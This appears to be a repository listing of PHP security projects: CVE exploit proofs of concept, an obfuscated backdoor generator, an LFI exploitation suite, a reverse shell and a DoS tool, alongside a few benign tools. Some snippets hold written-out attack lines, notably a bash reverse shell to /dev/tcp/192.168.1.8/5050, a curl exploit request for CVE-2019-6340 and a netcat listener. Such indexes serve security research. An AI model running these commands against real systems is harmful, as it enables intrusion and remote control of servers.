CVE-2025-49132-PHP-PEAR

CVE-2025-49132: PHP PEAR 방식을 통한 Pterodactyl 패널 무인증 RCE 목차 개요 취약점 세부 정보 기술 분석 익스플로잇 흐름 설치 사용법 예제 완화 조치 면책 조항 참조 작성자 개요 이 저장소는 1.11.11 이전 버전의 Pterodactyl 패널에서 발생하는 치명적인 무인증 원격 코드 실행 취약점인 CVE-2025-49132 에 대한 개념 증명PoC 익스플로잇을 포함합니다. Pterodactyl 패널 은 PHP로 구축된 무료 오픈소스 게임 서버 관리 패널입니다. 이 취약점은 PHP PEAR의...

Remot3d

Remot3d - An Easy Way To Exploiting Will be updated soon Remot3d - A tool made to generate backdoor to control and exploit a server where the server runs the PHP Hypertext Preprocessor program. Equipped with a backdoor that has been obsfucated, which means that it shoudl generally be FUD Fully...

CVE-2019-6340

CVE-2019-6340 For educational purposes only Run $ docker run --rm -p 8080:80 knqyf263/cve-2019-6340 Exploit GET $ curl -XGET -H "Content-Type: application/hal+json" "http://localhost:8080/node/1?format=haljson" -d ' "link": "value": "link", "options":...

LFISuite

LFI Suite What is LFI Suite? LFI Suite is a totally automatic tool able to scan and exploit Local File Inclusion vulnerabilities using many different methods of attack, listed in the section Features. Features Works with Windows, Linux and OS X Automatic Configuration Automatic Update Provides 8...

CVE-2024-33113

CVE-2024-33113 D-LINK DIR-845L 라우터는 bscsmsinbox.php 파일을 통해 정보가 노출되는 취약점이 존재합니다. CVE-2024-33113은 D-LINK DIR-845L 라우터의 취약점으로, bscsmsinbox.php 파일을 통해 정보가 노출됩니다. 이 취약점은 include 함수의 부적절한 처리로 인해 발생하며, $file 변수를 조작하여 악용될 수 있습니다. 이를 통해 공격자는 임의의 PHP 스크립트를 포함시키고 라우터의 사용자 이름과 비밀번호 같은 민감한 정보를 검색할 수 있습니다. PoC...

laravel-poc-CVE-2018-15133

Laravel Remote Code Execution when APPKEY is leaked PoC CVE-2018-15133 This repository contains a simple Laravel 5.6.29 application on PHP 7.2.10 with one basic noop route added in routes/web.php see Dockerfile and Proof of Concept exploit cve-2018-15133.php for CVE-2018-15133 that should...

telegram-osint-lib

Telegram OSINT scenario library Description A lot of Telegram API libraries around, but none of them demonstrates how to execute complex scenarios like draining all photos from channels, monitor users presence or register new account. This projects aims to correct situation: now you can easily...

CVE-2024-44902

CVE-2024-44902 Vulnerability description A deserialization vulnerability in Thinkphp v6.1.3 to v8.0.4 allows attackers to execute arbitrary code. Affects Version Thinkphp v6.1.3 to v8.0.4 Exploit condition The thinkphp framework should have installed the Memcached extension. Vulnerability...

CVE-2024-4577

CVE-2024-4577 - PHP CGI 인자 주입 원격 코드 실행 RCE 요약 CVE-2024-4577은 Windows 시스템에서 PHP가 CGI 모드로 실행될 때 발생하는 PHP CGI 인자 주입 취약점 입니다. 이 결함으로 인해 원격 공격자가 특수 제작된 URL을 통해 PHP 명령줄에 인자를 주입 하여 원격 코드 실행 RCE을 달성할 수 있습니다. 이 저장소는 다음을 포함합니다: CVE-2024-4577.py: 취약한 대상을 탐지하는 스캐너. exploit.py: 취약한 서버에 PHP 코드를 전송하고 시스템 명령을 실행...

CVE-2023-46818

CVE-2023-46818 ISPConfig - PHP Code Injection PoC Exploit Bash Introduction ISPConfig versions = 3.2.11 are vulnerable to an authenticated PHP code injection vulnerability via the records parameter in the /admin/languageedit.php endpoint. A malicious authenticated admin user can exploit this to...

cve-2023-3824

sudo docker run -it --rm -p 8080:80 php:8.0.29-apache bash echo "phar.readonly = Off" /usr/local/etc/php/php.ini http://localhost:8080/shell.php?cmd=bash -c 'bash -i %26 /dev/tcp/192.168.1.8/5050 0%261' php -r "$phar = new Phar'exploit.phar'; $phar-extractTo'./', 'shell.php';" exploit.zip pass:...

safeshell

safeshell Prevent PHP vulnerabilities similar to CVE-2016-10033 and CVE-2016-10045...

CVE-2015-6967

CVE-2015-6967 python exploit.py --url http://xx.xx.xx.xx --username admin --password nibbles --payload phprevshell.php Cambiar $ip en linea 7 de phprevshell.php nc -lvnp 1234...

mellivora

Mellivora Mellivora는 PHP로 작성된 CTF 엔진입니다. 빠른 개요를 원하시나요? imgur의 스크린샷 갤러리를 확인하세요. 빠른 시작을 원하시나요? Docker로 Mellivora 사용하기를 확인하세요. 기능 임의의 카테고리와 챌린지. 선택적 다중 팀 유형이 있는 점수판. 수동 또는 자동 자유 텍스트 제출 마킹. 챌린지 힌트. 팀 진행 페이지. 챌린지 개요 페이지. 카테고리 및 챌린지 노출을 특정 시간으로 제한. 부모 챌린지 해결 시 챌린지 공개 모든 팀 기준. 이메일 정규식을 기반으로 한 선택적 가입 제한...

php_reverse_shell

이 저장소에는 README가 없습니다...

phpstress

phpstress Night Lion Security가 제공하는 개념 증명 서비스 거부 / 부하 테스트 도구로, Apache 및 NGINX 시스템PHP-FPM 및 PHP-CGI에서 실행되는 PHP 웹사이트를 대상으로 합니다. 표준 케이블/DSL 연결을 사용하면, 이 공격은 일반 HTTP 요청을 통해 Linux 웹 서버의 CPU와 RAM을 과부하시킬 수 있습니다. 이 공격은 PHP-CGI 또는 PHP-FPM을 사용하여 동적 PHP 콘텐츠를 처리하는 Apache 또는 NGINX 웹 서버WordPress 웹사이트 포함에 영향을 줍니...

CVE-2024-7954

CVE-2024-7954 - SPIP 4.2.8 원격 명령 실행 RCE 익스플로잇 이 스크립트는 porteplumeprevisu 엔드포인트를 통해 SPIP 4.2.8 버전의 원격 코드 실행 취약점을 악용합니다. 이 취약점으로 인해 인증되지 않은 공격자가 조작된 이미지 태그의 미리보기 렌더링을 통해 PHP 코드를 주입할 수 있습니다. CVE ID: CVE-2024-7954 구성 요소: SPIP CMS porteplumeprevisu 영향: 인증되지 않은 원격 명령 실행 심각도: 치명적Critical 익스플로잇 기능 임의의 시스템...

burp-exporter

Exporter Extension for Burp Suite Community and Pro Follow us to know more about tips and others extensions Description Exporter is a Burp Suite extension to copy a request to a file or the clipboard as multiple programming languages functions. It also adds a tab called Exporter where you can...

noinstagram

noinstagram I got rid of my IG account some time ago, but I'd still like to see photos from my wife and our dog. I was just visiting the IG website for each public user I wanted to view, but that was way too much work. So I built this one Sunday. Want your own noinstagram page? fork this repo set...

CVE-2025-49113-Simulation

Roundcube RCE Lab CVE-2025-49113 A hands-on, containerized lab environment to simulate and exploit a critical Post-Authentication RCE vulnerability in Roundcube Webmail, identified as CVE-2025-49113. 📖 About The Vulnerability This lab demonstrates a sophisticated attack chain against the Roundcub...